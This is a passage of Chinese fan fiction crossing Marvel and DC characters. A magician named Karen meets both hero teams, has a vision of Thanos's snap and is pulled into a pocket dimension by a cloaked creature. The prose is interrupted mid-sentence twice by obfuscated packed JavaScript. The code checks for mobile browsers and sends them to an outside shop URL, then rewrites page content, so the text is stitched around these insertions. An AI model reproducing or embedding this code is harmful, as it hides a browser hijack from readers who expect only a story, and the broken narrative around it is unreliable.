班纳走过来,步子有点慢,像是有点不习惯这种场合。他和卡伦握手的时候,手指有点凉,握手的方式很轻,像是不想用力。 “你好,”他说,声音比卡伦想象的要温和,“听说你对那个世界的污染有研究?” 卡伦想了想:“不算研究。只是见过。” 班纳点点头,目光里有一种认真:“回头聊聊?我对那个很感兴趣。” 卡伦点头。 他心想:科学家就是不一样。别人问的是“那是什么东西”,他问的是“能聊聊吗”。 托尼指了指角落里的两个人。一个男性,正靠在墙上啃苹果;一名美丽的女士,站在窗边,手里端着杯酒。 “克林特·巴顿,娜塔莎·罗曼诺夫。神盾局的人,但常驻这边。” 克林特冲他们点点头,手里的苹果没放下。 娜塔莎走过来。她的步子很轻,像是踩在棉花上,但每一步都很稳。 然后她微笑了一下。 “欢迎。” 她的声音比卡伦想象的要低一点,带着一点沙哑。 杰森在她看过来的时候,面无表情。 娜塔莎的目光在他身上停了一瞬,然后移开。 托尼最后指了指门口站着的一个男人。 深色皮肤,一只眼睛戴着个奇怪的眼罩,另一只眼睛正盯着他们。他站在那里,一动不动,像一尊雕像。 “尼克·弗瑞。神盾局局长。” 弗瑞走过来。他的步子很慢,每一步都像是踩在什么重要的东西上。他停在卡伦面前,那只独眼盯着他,盯了很久。 “你那个世界,”弗瑞终于开口,声音很低,像砂纸磨过石头,“还能回去吗?” 卡伦想了想:“理论上可以。但我不想回去。” 弗瑞点点头,那只独眼又在他脸上停了一秒。 然后他转身,走了。 卡伦看着他的背影,心想:这个人问的问题,和蝙蝠侠问的一样。 所以当老大的,思路都差不多?评估危险性吧。 哈哈,别搞笑了,难道是觉得他们那个被污染啃的乱七八糟的世界有什么占领的必要吗? 对吧。 卡伦站在房间里,被八个人围着。有人在看他,有人在看杰森,有人在交换眼神,有人在啃苹果。 他感觉自己像什么珍稀动物。 杰森在旁边,手插在兜里,表情淡定得好像天天被超级英雄围观。 但卡伦注意到,他的手一直没从口袋里拿出来。 --- 4 电梯门又开了。 卡伦转头看去。 进来了一群熟人。 第一个走出来的是蝙蝠侠。还是那身黑,还是那张“生人勿近”的脸,但今天他没穿制服,是西装——黑色的,剪裁完美,一看就贵得离谱。 然后是超人,蓝眼睛,温和的笑容,和这个充满戒备的房间格格不入。他穿着一件深蓝色的西装,领带系得很整齐,走过来的时候,整个房间的光好像都亮了一点。 哦,不得不说,虽然哥谭让他觉得和叠羽大陆很像,但大都会的阳光也很舒服。 他冲卡伦点了点头。 卡伦点头回应。 然后是神奇女侠,闪电侠,海王和火星猎人———荣恩·荣兹。他走在最后,绿色的皮肤在灯光下有点显眼,但表情平静得像一潭深水。 七个人。 正义联盟的核心,全到了。 托尼吹了声口哨。 “人挺齐啊。” 蝙蝠侠看了他一眼,没说话。 卡伦心想:所以这次是真的“会盟”。不是随便聊聊,是真的把两边的人都叫齐了。 戴安娜走上前,和娜塔莎交换了一个眼神——那种女人之间不需要语言的眼神。娜塔莎微微点头,戴安娜也点了点头。 卡伦不知道她们交流了什么。他也不想知道。有些事,不知道比较好。 超人走向史蒂夫,伸出手:“好久不见。” 史蒂夫握住他的手,笑了一下:“上次华盛顿之后,就没见过。” 超人点头:“那次之后,一直没机会。” 所以他们认识?而且不是那种“开会见过面”的认识,是那种“一起打过什么”的认识。 他有段时间在处理魔法的事,也没怎么关注新闻,所以是发生什么了吗? 哦,天哪,美国队长和超人握手。 索尔已经走向海王了。两个人站在一起,一个金发,一个深色头发,一个来自阿斯加德,一个来自亚特兰蒂斯,居然聊起了……鱼? “亚特兰蒂斯的鱼,和米德加德的鱼,有什么区别?”索尔问。 海王翻了个白眼:“你问我这个?” 索尔:“不然问什么?” 海王沉默了两秒,然后说:“……大一点。” 索尔眼睛亮了:“大多少?” 海王:“……大很多。” 索尔:“能抓吗?” 海王:“……你抓鱼干什么?” 索尔:“吃啊。” 海王盯着他看了两秒,然后说:“你们阿斯加德的人,不吃东西的吗?” 索尔:“吃。但米德加德的鱼,没吃过。” 卡伦移开视线。 他不想知道这场对话的结局。 --- 5 人齐了。 托尼拍了拍手,示意大家坐下。沙发不够,有人站着,有人靠在窗边,有人坐在地上。卡伦找了个角落站着,杰森站在他旁边。 接下来是漫长的讨论。 很长很长的讨论。 卡伦站在那里,听着他们说话。蝙蝠侠开口,史蒂夫接话,托尼插嘴,戴安娜补充,弗瑞提问,超人调和,索尔偶尔冒出一些和话题完全无关的见解,海王在旁边翻白眼,克林特继续啃苹果,娜塔莎偶尔说一句话就让所有人安静下来。 他们讨论了什么? 很多。 洛杉矶的异常波动。芝加哥的痕迹。海上的发现。哥谭的老鼠。那个带走企鹅人的东西。那个东西可能想要什么。那个东西背后可能有什么。两个世界的交界点。污染的传播方式。怎么追踪。怎么防御。怎么反击。 蝙蝠侠提了一个计划。托尼反对。史蒂夫提出另一个方案。戴安娜折中。弗瑞说“时间不够”。超人说“我们可以同时进行”。索尔说“不如直接打过去”。海王说“打过去你知道打谁吗”。克林特终于开口,说了句什么,所有人都沉默了。娜塔莎点点头,说“那就这样”。 卡伦听着,记着,没说话。 有些内容他听得懂。有些听不懂。有些他听懂了但觉得不对。有些他觉得对但不知道怎么执行。 但他没说话。 因为这些人不需要他说话。至少现在不需要。 他们需要的是一个信息源,一个能告诉他们“那个世界是什么样的”的人。他们不需要他参与决策——那是他们的事。 所以他站着,听着,偶尔看看杰森。 杰森一直站在他旁边,手插在兜里,表情淡定。但卡伦注意到,每当有人提到“那个东西”的时候,杰森的目光就会在那个说话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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杰森站在他旁边,手里还拿着那根烟——没点,就拿着。 卡伦看了一眼那根烟。 杰森:“干嘛?” 卡伦:“你平时不抽烟。” 杰森沉默了一秒。 然后他说:“克林特给的。他抽这个牌子。” 卡伦等着他往下说。 杰森继续:“他说他以前抽烟抽得凶,后来戒了,就剩这个习惯——给别人递烟。” 卡伦想了想那个画面——克林特,超级英雄,到处给人递烟。 他笑了一下。 杰森看他:“笑什么?” 卡伦:“笑那个画面。” 杰森也笑了一下。 电梯继续往下。 沉默了一会儿。 卡伦突然说:“他们讨论的那些,你觉得靠谱吗?” 杰森想了想:“不知道。但他们人多。” 卡伦点头。 人多。确实人多。 两边加起来,十几个人。有会飞的,会打的,会想的,会计划的。有从外星来的,从海底来的,从天上来来的。有科学家,有战士,有间谍,有国王。 这么多人,总能有办法。 杰森又开口了:“那个东西,你觉得它跑哪去了?” 卡伦摇头:“不知道。但它还会出来。” 杰森看着他。 卡伦继续说:“它带走企鹅人,肯定有用。等它用完了,就会再出来。” 杰森点点头。 沉默。 电梯门打开了。 杰森先走出去,走了两步又回头。 “你那个地下室,明天开始弄?” 卡伦点头。 杰森:“我帮你。” 卡伦:“好。” 杰森转身走了。 卡伦站在原地,看着他的背影消失在夜色里。 然后他笑了一下。 特别? 也许吧。 --- 8 回到哥谭的时候,天已经亮了。 卡伦没睡。他直接去了诊所,穿过那扇伪装成储物间的门,沿着楼梯往下走。 地下室比他离开的时候更空了——那些他之前翻出来的瓶瓶罐罐还堆在角落里,落了一层薄薄的灰。 他站在楼梯口,看着这个空间。 不大。但够用。 墙壁是水泥的,地面是水泥的,角落里有一个老旧的工作台,台面上坑坑洼洼的,不知道是之前用来干什么的。天花板上挂着一盏灯,光线昏黄,照得整个空间像个快要被人遗忘的秘密。 卡伦走过去,把手按在工作台上。 凉的。 他闭上眼睛,感知往外延伸。 地下没有污染。没有异常。没有那个世界的气息。只有哥谭特有的那种……潮湿的、沉闷的、混着泥土和不知道什么东西的味道。 他睁开眼。 行。安全。 接下来就是整理。 他走到那堆瓶瓶罐罐前,蹲下来,拿起第一个罐子。 透明的,里面泡着什么东西。看不出来是什么。标签已经模糊了,只能隐约看见几个字——是他自己的笔迹,但写的是什么,他已经忘了。 他打开罐子,闻了闻。 一股淡淡的草药味。不刺鼻,也不香,就是那种……植物的味道。 他想了想,把罐子放到一边。 “待分类。” 第二个罐子。深色的,看不清里面有什么。摇了摇,里面传来沙沙的声音。打开,是一些粉末。灰白色的,在昏黄的灯光下泛着一点微光。 他捻了一点在指尖,搓了搓。 细腻的。凉的。没有反应。 他又闻了闻。 没味道。 他想了想,把罐子盖上,也放到一边。 “待研究。” 第三个罐子。很小,比他的拳头还小。金属的,盖子封得很紧。他用了点力气才打开。 里面是一颗石头。 不对,不是石头。是一颗晶体。透明的,在灯光下折射出细碎的光。他拿起来,对着光看。 晶体里面有东西。很细,像是一根丝线,在里面漂浮着。 他盯着那颗晶体看了很久。 然后他把它放回去,盖上盖子,放到另一边。 这个他知道是什么。 师傅留给他的。 “有用的。” 接下来是第四个、第五个、第六个…… 他一个一个打开,一个一个闻,一个一个摸,一个一个放到不同的位置。 有些他认出来了。有些他认不出来。有些他看着眼熟,但想不起来是什么。有些他看着完全陌生,但标签上写的是他自己的字。 他蹲在那里,一直蹲到腿发麻。 等他站起来的时候,那堆瓶瓶罐罐已经分成了三堆。 一堆是“认识,有用”。 一堆是“不认识,但应该有用”。 一堆是“完全不知道是什么,但留着总没错”。 他站在三堆东西中间,看着这个小小的地下室,突然有一种奇怪的感觉。 这个地方,是他的了。 不是诊所那种“我租的”。不是哥谭那种“我回来的”。是真正的、属于他的空间。 他可以在这里做他想做的实验。研究他想研究的材料。准备他想准备的东西。 他走到工作台前,把手按在那坑坑洼洼的台面上。 凉。但好像没那么凉了。 他想起杰森说的那句话——“明天开始弄?” 明天。 窗外,哥谭的阳光已经照进来了。 他闭上眼睛。 明天。 10. 第十章 1 第二天,地下室 卡伦蹲在地上,面前摆着那三堆瓶瓶罐罐。 一堆是“认识,有用”。 一堆是“不认识,但应该有用”。 一堆是“完全不知道是什么,但留着总没错”。 杰森站在他旁边,看着这三堆东西,表情微妙得像是看见了企鹅人在跳芭蕾。 “你分了一早上,就分出这个?” 卡伦头都没回,手里拿着一个罐子翻来覆去地看:“这叫初步分类。” 杰森:“初步分类就是把东西分成‘有用’‘可能有用’和‘不知道有什么用’?” 卡伦:“对。” 杰森沉默了两秒,然后蹲下来,从那一堆“不知道有什么用”里随手抓起一个罐子,晃了晃,又扔回去:“那我也会。你给我一堆垃圾,我也能分成这三堆。” 卡伦终于回头,看了他一眼,然后往旁边让了让,做了个请的手势:“那你来。” 杰森盯着他看了两秒,似乎在确认这人是不是认真的。然后他蹲下去,拿起第一个罐子。 透明的,里面泡着什么东西,模模糊糊像是一截树根。 杰森看了一眼,直接放到“不知道有什么用”那堆。 卡伦抱着双臂靠在墙上,觉得自己好像突然看到了什么小浣熊捡东西的神奇场景,情不自禁地露出了一个微笑。 哦,小浣熊,还挺可爱的不是吗? 如果以后他再叫我伦尼,那我就只好把小浣熊这个外号安在他身上了。 杰森拿起了第二个罐子。深色的,摇了摇,里面沙沙响。杰森又放到“不知道有什么用”那堆。 第三个罐子。金属的,小小的,盖子封得很紧。杰森用了点力气打开,看了看里面那颗泛着微光的晶体,又盖上。 放到“可能有用”那堆。 卡伦挑眉:“你这是按什么分的?” 杰森耸肩,语气理所当然:“这个看着像值钱的东西。” 卡伦愣了一下。 不要这么对待他珍贵的收藏啊喂! 好吧,他其实也不是很在意这些东西,相比之下,他觉得看杰森收拾东西更开心一点。 杰森继续拿起第四个罐子,头都没回:“你那三堆有什么区别?有用和可能有用,区别在哪?可能有用和不知道有什么用,区别又在哪?” 卡伦摊摊手。 “非要问的话,大概是魔法师的直觉吧。” 杰森回头看了他一眼,那眼神里明晃晃地写着“你当我傻”。 卡伦面无表情地看回去,莫名给人一种理(不)气壮的错觉。 杰森转回去继续翻,翻到第五个的时候突然停住了。 “这什么?” 卡伦凑过去看了一眼。 是一个水晶球,比成年男性的拳头大一点,透明的表面蒙着一层灰,放在一个木质的底座上。底座上刻着一些花纹,很古老的那种,弯弯绕绕的看得人眼晕。 卡伦盯着那个水晶球,皱起眉。 他不记得这东西。 师傅留给他的东西,他每一样都过过眼,但这个水晶球,他一点印象都没有。像是凭空冒出来的,又像是本来就一直在那儿,只是他从来没注意过。 按师傅那个老东西的神秘主义作风,难道是什么麻烦玩意儿? 杰森拿着它,翻来覆去看了看:“挺沉的。” “给我看看。” 小浣熊递过来。 卡伦一碰到水晶球就感受到了一股彻骨的凉意,像是冬天摸到铁栏杆的感觉。但卡伦没缩手,他把水晶球捧在掌心,低头看着那层灰蒙蒙的表面。 然后它突然亮了,像有人在里面开了盏灯。 卡伦还没来得及眨眼,眼前就黑了。 --- 2 不是眼睛黑了。 是整个世界黑了。 卡伦发现自己站在一片虚空里。没有上下,没有左右,没有声音,没有光。脚下踩不到东西,但也没往下掉,就那么飘着,突然从地下室里来到了一个莫名其妙的地方。 他低头看了一眼自己。手还在,脚还在,身体还在。挺好。 然后他抬头。 远处有个东西。 很大。紫颜色的。穿着金色的盔甲,坐在一个飘浮的王座上。它的脸看不太清,但卡伦能看见那只手——一只戴着金色手套的手,手套上嵌着六颗宝石,每一颗都在发光。 红的,蓝的,黄的,绿的,紫的,还有一颗橙色的。 那只手抬起来。 一个响指。 然后卡伦看见了无数的身影在消散,变成灰,飘走,消失。 老人,孩子,男人,女人。英雄,普通人。认识的,不认识的。 都在消失。 一个响指。 一半的生命。 卡伦站在虚空里,看着那些人影化成灰烬,飘向他,穿过他,飘向不知道什么地方。他伸手想抓,手指穿过那些灰,什么都没抓到。 一半。 整个宇宙的一半。 他想起娜塔莎。想起克林特。想起索尔。想起史蒂夫。想起托尼。想起那些在宴会上见过的人——刚见过,刚认识,刚觉得“这些人挺有意思的”。 一半消失。 他想起杰森。 他不敢想。 那个东西转过头来。 看向他。 卡伦对上了那双眼睛。 紫色的。冰冷的。没有任何感情的。 它看见他了。 OK ,fine,现在双方都变成明牌了。 卡伦盯着那双眼睛,咬牙切齿的想。 嘿,兄弟,惊喜吗?跨越千里碰见你。卡伦真想来一句,我们之前是不是见过。 是的,没错,是见过,在他某次观测世界的时候,只是消息太零碎,时间线也不明晰,还好师傅的水晶球给他提了个醒,不然他还真没在意这茬。 突然,那双眼睛眨了一下,像静止的投影突然注入了生命。 虚空碎了。 卡伦猛地睁开眼。 地下室。昏黄的灯光。瓶瓶罐罐。杰森。 杰森正盯着他,眉头皱得快打结了。 “你刚才眼睛在发光。” 卡伦低头,发现自己手里还握着那个水晶球。凉意还在,但比刚才淡了。 他把它放到工作台上。 杰森走过来,站在他旁边,看了看那个水晶球,又看了看他。 “看见什么了?” 卡伦想了想,用尽量平淡的语气说:“一个紫薯精,打了个响指,一半的人没了。” 杰森愣了一下。 然后他笑了,那种“你他妈在逗我”的笑。 “紫薯精?” 卡伦点头:“紫的。大的。穿着盔甲。戴着手套。手套上有六颗宝石。打了个响指,一半的人变成灰了。” 杰森盯着他看了几秒,笑慢慢收了回去。 “认真的?” 卡伦想了想自己刚才看见的那些画面。那些消散的身影。那双紫色的眼睛。 “认真的。” 杰森沉默了两秒,然后靠在那堆罐子上,双手抱胸。 “所以那个水晶球,是预言用的?” 卡伦点头。 杰森:“你师傅留给你的?” 卡伦又点头。 杰森:“你知道这事多久了?” 卡伦摇头:“刚知道。之前没见过这个球。” 杰森看着他,眼神有点复杂。 卡伦知道他在想什么——刚发现一个预言水晶球,刚拿到手就触发,刚触发就看见一个紫薯精灭了一半宇宙。这运气也是没谁了。 他自己也想吐槽这个。 杰森开口了:“你信吗?” 卡伦想了想,没有马上回答。 他在魔法世界见过很多事。预言这种东西,有的准,有的不准,有的准一半,有的准了也没用因为你根本不知道它什么时候发生。但刚才那个画面,那种真实感,那种被那双眼睛盯着的感觉—— “信。”他说,“但不知道什么时候发生。” 杰森点头,没追问。 沉默了一会儿。 卡伦突然说:“那个紫薯精,我看见它的时候,它看见我了。” 杰森挑眉。 卡伦继续说:“它知道我在看它。它看了我一眼。” 杰森沉默了两秒,然后说:“那它也知道你在这儿了?” 卡伦摇头:“不知道。那种看见,不是看见位置。是看见存在。” 杰森皱眉。 卡伦想了想怎么解释:“就像……你知道有人在看着你,但不知道人在哪。” 杰森慢慢点头,然后问:“那现在怎么办?” 卡伦看着工作台上那个水晶球。 灰蒙蒙的,安安静静的,像个普通的玻璃球。 他想起刚才那些消散的身影。想起那双紫色的眼睛。 “得告诉他们。”他说。 杰森:“蝙蝠侠?” 卡伦点头:“还有复仇者那边。” 杰森看了他一眼,语气有点微妙:“你才见过他们一次。” 卡伦耸肩:“那次聊了一整夜。” 杰森想了想,觉得这个逻辑好像也没问题。 他站直了,手从口袋里拿出来。 “走吧。” 卡伦愣了一下:“现在?” 杰森已经往楼梯走了:“不然呢?等那个紫薯精自己来?” 卡伦看着他的背影,嘴角动了动。 他站起来,拿起那个水晶球,跟上去。 走到楼梯口的时候,他突然想起一个问题。 “杰森。” 杰森回头。 卡伦举了举手里的水晶球:“你说这东西,值钱吗?” 杰森盯着他看了两秒,然后笑了。 “你师傅留给你的,问值不值钱?” 卡伦耸肩:“万一哪天缺钱呢。” 杰森笑着摇头,继续往上走。 卡伦跟在后头,把那颗水晶球揣进口袋。 凉意又来了。 但他没拿出来。 --- 3 车是杰森开的。 但车是卡伦的。 一辆黑色的车,不是什么好车,但发动起来声音挺沉,跑得也稳。卡伦坐在副驾驶,看着窗外的街景往后掠,脑子里还在转那些画面。 那些消散的人。 那个响指。 那双紫色的眼睛。 他攥了攥手里的水晶球,凉意从掌心一直往上爬,爬到手腕就不动了,像是有意识地在试探他。 “你一直攥着那个东西,不冷吗?”杰森头都没回,眼睛看着前面的路。 卡伦低头看了一眼自己的手,手指关节都有点发白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444107|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “还好。” 杰森从后视镜里瞄了他一眼,没说话。 卡伦继续看着窗外。 哥谭的白天和晚上不太一样。晚上看着阴森,白天看着……也阴森,但阴森得有点人气。路边有推车卖热狗的,有人排队买咖啡,有几个小孩蹲在地上玩什么游戏。一个老太太牵着狗过马路,狗冲着一根电线杆叫了两声,老太太把狗拽走了。 卡伦盯着那个老太太看了几秒。 普通的老太太。普通的狗。普通的一天。 他其实也蛮喜欢这种普通的生活,一开始或许不太适应,但或许人到了一定年纪就会想着归隐田园的。 杰森的声音把他拉回来。 “想什么呢?” 卡伦转回头,靠在椅背上。 “想那个老太太。” 杰森挑眉。 卡伦继续说,“她不知道有东西要灭一半的人,普通人都不知道。”他顿了顿,似乎是想起了什么很久远的事情,“无论什么战争,无论是谁发起了争斗,死的大多数都是无辜的人,无非是一群保护家园的孩子去攻打另一群保护家园的孩子。” 杰森沉默了两秒。 “现在知道了。” 卡伦点头。 是啊,现在知道了。 他知道了。 他往下看了一眼手里的水晶球。凉意还在,但没那么刺骨了,像是这东西也知道他接受了,不用再提醒他。 “那个紫薯精,”杰森突然开口,“你以前听过吗?” 卡伦想了想。 “听过一点。” 杰森等他往下说。 卡伦整理了一下脑子里的信息,那些年观测东拼西凑来的东西,有的靠谱有的不靠谱,毕竟平行世界该死的多,有的看的时候以为是别的世界的,现在想想可能不是。 “那个手套,叫无限手套。”他说,“六颗宝石,无限宝石。每一颗都能控制一种东西——空间,时间,现实,力量,心灵,灵魂。” 杰森皱眉:“六颗?” 卡伦点头:“我看见的那只手上,有六颗。” 杰森沉默了几秒,然后问:“全了会怎样?” 卡伦想了想那个画面。那个响指。那些消散的人。 “全了就能打那个响指。” 杰森没再问。 车继续往前开,拐过一个弯,路两边的建筑开始变得稀疏,再往前就是韦恩庄园的方向。 卡伦看着窗外那些越来越大的房子,突然想起一件事。 “杰森。” 杰森:“嗯?” 卡伦:“你说蝙蝠侠会信吗?” 杰森想了想:“他会先问一堆问题。问完了,就该信了。” 卡伦点头。 又问:“问完了信,还是边问边信?” 杰森从后视镜里看了他一眼,嘴角动了一下:“你倒是挺了解他。” 卡伦耸肩:“所有和蝙蝠侠合作过的人都会留下一个深刻的印象。” 杰森笑了一声,没再接话。 车开进韦恩庄园的大门,沿着那条长长的路往里走。卡伦看着窗外那些修剪得整整齐齐的树,又看了看自己手里那个水晶球。 凉意还在。 他突然想起一件事。 “杰森。” 杰森把车停稳,熄了火,转头看他。 卡伦举了举手里的水晶球:“如果蝙蝠侠问这东西怎么来的,我该怎么说?” 杰森盯着他看了两秒。 “实话。” 卡伦想了想,点头。 杰森推开车门下去。 卡伦坐在副驾驶上,深吸一口气。 然后他也下去了。 站在韦恩庄园门口,他低头看了看手里的水晶球,又看了看那扇大门。 那个紫薯精,那双眼睛,那个响指。 一半的人。 他突然有点害怕。 不是害怕那个紫薯精。那个东西再厉害,也不过是另一个需要解决的东西。他在叠羽大陆见过更恶心的。 他是害怕那些消散的人。 这个场景太相似了。 在叠羽大陆上,很难找到真正的地面。仰头一看是层层叠叠的灰白色石片,将天空都遮蔽住,普通人很少见过蓝天。他曾经为那种地貌深切的震撼过,后面才知道也不过是异族的神明随意地把这篇大陆翻成了这副模样。 强者的一个随心的举动,却给了万万千千的民众深渊般的灾难。 现在想想,那个世界又是过了多久才从地狱恢复到了这等地步呢? “走不走?”杰森的问话打破了沉默。 “走。” 他往前走了一步,又停下来。 “杰森。” 杰森回头。 卡伦张了张嘴,却没发出声音,最后又沉默了一会儿,说:“其实那个紫薯精也没那么可怕,相信我吧,我…和正义联盟和复仇者会挡在你们前面。” 杰森愣了一下。 他笑着摇头,转过身继续往前走。 走了两步,他头都没回地扔过来一句话。 “不,是我们挡在那些普通人前面。” 卡伦看着他的背影,最终还是没说完那句话。 他会挡在他的故乡前,像过去的无数个年月,他站在人类军前方那样。 他只是无声地跟上去。 那扇门在他身后关上。 11. 第十一章 1 那天从蝙蝠洞回来之后,卡伦就没再想过那个紫薯精的事。 聊什么卡伦已经记不清了,反正就是各种细节、可能性、应对方案。蝙蝠侠问问题,卡伦回答,问到后来卡伦感觉自己脑子都要烧了。 但出了蝙蝠洞,他就把这些事扔给蝙蝠侠了。 反正那帮人开会能开一整夜,不缺他一个。 They can do this all day 几周过去,日子又回到了正轨。 诊所照常开,病人照常来,玛莎奶奶照常每周带吃的,老王照常路过进来坐坐。那几个小孩已经学会自己拿糖了,进来先冲卡伦喊一声“医生好”,然后直奔糖罐。这让卡伦觉得自己像是定点刷新的NPC,感觉自己不像开诊所的,像开社区养老院的。 不过杰森最近不在。 法外者那边有事,他得出趟差。走之前来诊所坐了一下午,把卡伦的零食柜扫荡了一遍,走的时候拍拍手说“回来补给你”。 卡伦看着那空了一半的柜子,心想这人出差就出差,为什么要用他的零食践行。 --- 2 某天下午,诊所没什么人,药柜收拾完了,卡伦盯着那个空了一半的零食柜在加班和休息之间选择去超市补货。 超市不远,最近的走路十分钟。但他以前很少去,无他,唯懒尔。以前总是委托杰森带吃的来,或者杰森拉他去吃各种奇奇怪怪的店。现在杰森不在,他得自己解决。 啊,之前杰森总在他面前闲逛,不觉得有什么,现在他突然一走,卡伦却突然感到有些无聊了。 啧,真奇怪。卡伦烦躁地挠了挠头发。 朋友之间是这么相处的吗? 超市的灯光白得晃眼,货架一排一排的,上面堆满了东西。卡伦推着车,在货架之间慢慢走,偶尔停下来看看标签。 薯片,拿两袋……算了,多拿点回去吧,他怎么这么不信杰森会回来补货呢? 饼干…面包…烤肠…… 说起来他厨艺也算不错来着,怎么就不能试试做热狗呢?拿一袋。 饮料,拿几瓶。 他推着车走到收银台,把东西往上一放,收银员是个年轻的姑娘,看了他一眼,又看了一眼,又看了一眼。 卡伦面无表情地任她看,但心里还是有点臭屁的。 然后特意凹了一下姿势。 扫码,装袋,付钱,走人。 他拎着两大袋东西走出超市,天已经有点暗了。哥谭的傍晚就是这样,白天短,黑夜长,五点多的天看起来像别的地方七八点。像是什么黑夜女神的老巢。 他沿着来的路往回走。 走到一半,他停下来了。 那个味道。叠羽世界的味道。很淡,但很近。 他慢慢转过身。 街对面站着一个人。 黑色的斗篷,从头裹到脚。脸藏在阴影里,看不清。但卡伦能看见那双眼睛——竖着的瞳孔,泛着微弱的绿光。 他们隔着一条阴暗的小巷对视着,卡伦总觉得那个人有种似曾相识的感觉,但他哪怕翻遍了叠羽大陆的记忆,也没找到一个类似画风的人。 这就是那个带走企鹅人的东西吧。 卡伦在心里骂了一句。这玩意儿怎么还在哥谭?蝙蝠侠那边不是一直在查吗? 他把手里的袋子放到地上。 街上的人已经没了。不知道是本来就没人,还是这东西来了之后人就不见了。 那东西开口了,声音很低,像从很远的地方传来:“你看见了。” 卡伦没说话。 那东西继续说:“你看见了他。” 卡伦知道它说的是谁。那个紫薯精。那个响指。但是这不对吧,他明明在面前这个人身上感受到了叠羽大陆的气味,他是怎么和灭霸扯上关系的? “所以呢?”卡伦问。 那东西沉默了一秒。 然后它抬起手。 卡伦的反应很快——他已经在往后撤了,并试图打断施法。但那东西的动作比他想的快,几乎是瞬间,空中出现了一个圈,圈里泛出黑色的光。 一股力量从那个圈里涌出来,像一只手抓住了卡伦,把他往里拽。 卡伦挣扎了一下,但那股力量太大了。他的脚离地,身体被拉向那个黑色的洞口。 最后一秒,他看见那东西的眼睛亮了一下。 然后他掉了进去。 --- 3 卡伦落在地上的时候,用的是背。 疼。很疼。 他躺了几秒,确认自己的骨头还都连着,然后慢慢爬起来。 真是的,这年头怎么都喜欢把人往异空间里拽。 又不是什么货车,救人,穿越的经典剧情。 周围是一片灰色。不是雾,不是烟,是那种什么都看不出来的灰。脚下踩着的是硬的地面,但低头看,看不见地面是什么做的。抬头看,看不见天。往前看,看不见尽头。 那个世界的味道很浓。浓得他有点想打喷嚏。 看来之前的气味都是从这个异空间里泄露出去的。 他摸向腰间。炼金物品还在。几个小瓶子,一颗水晶,还有一把小刀——普通的小刀,但被他加工过,能划开一些很难划开的东西。 他真是低估哥谭了,本来想着就是10分钟路程的超市,用不着带枪的。 回去就把枪焊在身上,多焊几杆,他认真的。 从地上站起来,卡伦拍了拍身上的灰。 那东西把他弄进来,肯定不是为了让他观光。 果然。 他刚站稳,周围就动了。 有些灰色的东西从四面八方涌过来。有的像一团雾,有的像一滩液体,有的像扭曲的动物,有的像在融化的人。长得很随便,但配上现在这个场景就有些可怖了。 第一个扑上来的是那团雾。卡伦侧身躲开,手里的小刀划过去,雾被切开两半,散开,然后重新聚拢。 没用。 他骂了一句,换了个策略。 然后扑上来的是那个像人的东西。卡伦没躲,直接迎上去,左手按住它的头,右手把小刀插进它胸口。小刀上的符文亮了一下,那东西发出一声尖叫,化成灰。 行。有用的。 第三个,第四个,第五个…… 卡伦不知道自己打了多久。 那些东西太多了。打死一个,冒出两个。打死两个,冒出四个。他一边打一边往后退,试图找到这个空间的边界,但不管往哪个方向走,周围都是同样的灰色。 这样打下去肯定不行,如今他要么找到出去的口,要么暴力破开, 或者直接把幕后的人抓出来。 他的呼吸开始变粗。左眼下方的倒三角越来越亮,但没有蔓延——他用意志压着,不让它爆发。现在爆发太早,他不知道后面还有什么。 又是一个扑上来,被他踹飞。 又是一个,被他划开。 又是一个,又是一个,又是一个—— 他的动作开始变慢。 那些东西身上有种奇怪的能量,碰到一次就虚弱一点。再这样下去,他只能被迫开大了。 又一个扑上来。 卡伦故意没躲开。那东西撞在他身上,他踉跄了一下,手里的刀差点脱手。 他深吸一口气,稳住身形。 抬头。 果然那个穿斗篷的东西出现在不远处,看着他。 不愧是叠羽大陆的生物。卡伦想着,那个地方的生物好像都有点什么大病一样,打到最后要么就是抒发一下感情,要么就要嘲讽两句,总之是非得出来。 这算什么,世界底层代码吗? 卡伦盯着它,突然笑了。 “你就这点本事?” 那东西没说话。 卡伦没在废话,把手伸向腰间,摸出一个小瓶子。师傅留下的那个,他一直用了很珍惜的。他拧开盖子,把里面的液体倒在刀刃上。 那小刀的符文开始疯狂地发光。 “来。”他说。 那些东西又扑上来了。 这一次,卡伦没再躲。 --- 4 卡伦不知道自己是怎么从那个空间出来的。 他只知道最后一下——他拼着受重伤把那把刀插进了那个穿斗篷的东西的身体里。那东西尖叫了一声,然后周围的一切都开始崩塌。 灰色的天裂开。灰色的地裂开。那些东西尖叫着消散。 卡伦抓住那东西的斗篷,把它往一个炼金瓶子里塞。那东西挣扎,但刀上的液体还在起作用,它越挣扎越小,最后被整个吸进瓶子里。 卡伦拧上盖子,然后眼前一黑。 再睁开眼的时候,他躺在地上。 头顶是哥谭的夜空。旁边是他掉进去之前放下的两大袋超市买的东西。 他躺了几秒,慢慢爬起来。 浑身都疼。衣服破了好几处,有几道口子下面还在渗血。他低头看了看自己——腿上有一道挺深的,胳膊上有几道浅的,胸口有一片青紫,不知道是撞的还是被什么东西打的。 他把那个瓶子举起来看了看。 里面有一团黑色的东西,正在瓶子里乱撞。撞得瓶壁砰砰响。 卡伦冲它呲了呲牙。 该死的,害得他受这么重的伤,回去就让你体会一下什么叫生不如死。 他把瓶子收进口袋,拎起那两大袋东西,往诊所走。 走了两步,低头看了看自己。 衣服破破烂烂,浑身是血,手里拎着两大袋薯片和饼干。 他想了想,觉得这个画面挺有意思的。 要是杰森在,肯定要笑他。 --- 5 回到诊所的时候,天已经快亮了。 